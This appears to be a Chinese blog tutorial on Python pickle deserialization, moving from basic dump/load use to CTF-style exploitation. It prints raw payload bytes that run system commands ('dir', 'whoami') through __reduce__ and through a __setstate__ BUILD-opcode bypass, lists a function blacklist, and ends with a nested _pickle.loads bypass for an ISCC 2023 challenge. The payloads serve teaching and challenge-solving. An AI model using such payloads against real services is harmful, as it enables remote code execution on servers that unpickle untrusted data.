前言
与php不同的是,python作为脚本语言通过import导入模块(包含类),相比PHP只能利用代码中存在的类和内置类,python反序列化就更加灵活了
Pickle模块
基础使用
一、dump()方法序列化
pickle.dump(obj, file, [,protocol])
注释:序列化对象,将对象obj保存到文件file中去。
file表示保存到的类文件对象,file必须有write()接口,file可以是一个以’w’打开的文件或者是一个StringIO对象,也可以是任何可以实现write()接口的对象。
1 | import pickle |
参数protocol是序列化模式
protocol的值还可以是1和2(1和2表示以二进制的形式进行序列化。其中,1是老式的二进制协议;2是新二进制协议)。
v3版协议添加于Python 3.0,它具有对 bytes 对象的显式支持,且无法被 Python 2.x 打开。这是目前默认使用的协议,也是在要求与其他 Python 3 版本兼容时的推荐协议。
v4版协议添加于Python 3.4, 它支持存储非常大的对象, 能存储更多种类的对象, 还包括一些针对数据格式的优化, 参阅PEP 3154.
v5版协议添加于Python 3.8, 它支持带外数据, 加速带内数据处理.
1 | import pickle |
1 | b'ccopy_reg\n_reconstructor\np0\n(c__main__\nPeople\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nVname\np6\nVmayylu\np7\nsb.' |
二、load()方法反序列化
pickle.load(file)
注释:反序列化对象,将文件中的数据解析为一个python对象。file中有read()接口和readline()接口
三、loads()和dumps()data_dumps =pickle.dumps(obj,[,protocol])
将对象obj对象序列化并返回一个byte对象data=pickle.loads(data_dumps )
从字节对象中读取被封装的对象,并返回
不需要文件流
pickletools调试器
以下对v3协议进行简单的分析
1 | import pickle |
1 | b'\x80\x03c__main__\ndairy\nq\x00)\x81q\x01}q\x02(X\x06\x00\x00\x00value1q\x03X\x02\x00\x00\x00hhq\x04X\x06\x00\x00\x00value2q\x05K{ub.' |
__reduce__
万恶之源
1 | #poc |
发现会生成完全不一样的结果
1 | b'\x80\x03cnt\nsystem\nq\x00X\x03\x00\x00\x00dirq\x01\x85q\x02Rq\x03.' |
将上面生成的结果反序列化,即使没有__reduce__方法也可以执行
1 | import pickle |
如何过滤掉reduce呢?由于__reduce__方法对应的操作码是R,只需要把操作码R过滤掉就行了。这个可以很方便地利用pickletools.genops来实现。
c指令实现变量覆盖
c指令后面跟的是模块名和类名,可以利用c指令调用任意值
1 | import pickle, pickletools |
1 | 修改前: |
BUILD指令绕过
reduce方法是可以执行rce的,那么如果题目中禁用掉了reduce,可以通过{‘setstate‘: os.system}来BUILD这个对象b'\x80\x03c__main__\ntest\nq\x00)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\nb.'
1 | 0: \x80 PROTO 3 |
绕过函数黑名单
黑名单
1 | black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen] |
iscc2023 ISCC内部零元购-2
经检测发现只是简单的黑名单匹配检测,使用base64编码绕过黑名单,再用pickle.load执行
1 |
|
1 | b'0x74' |
这里的想法是直接嵌套,没想到就成了
1 | \x80\x03c_pickle\nloads |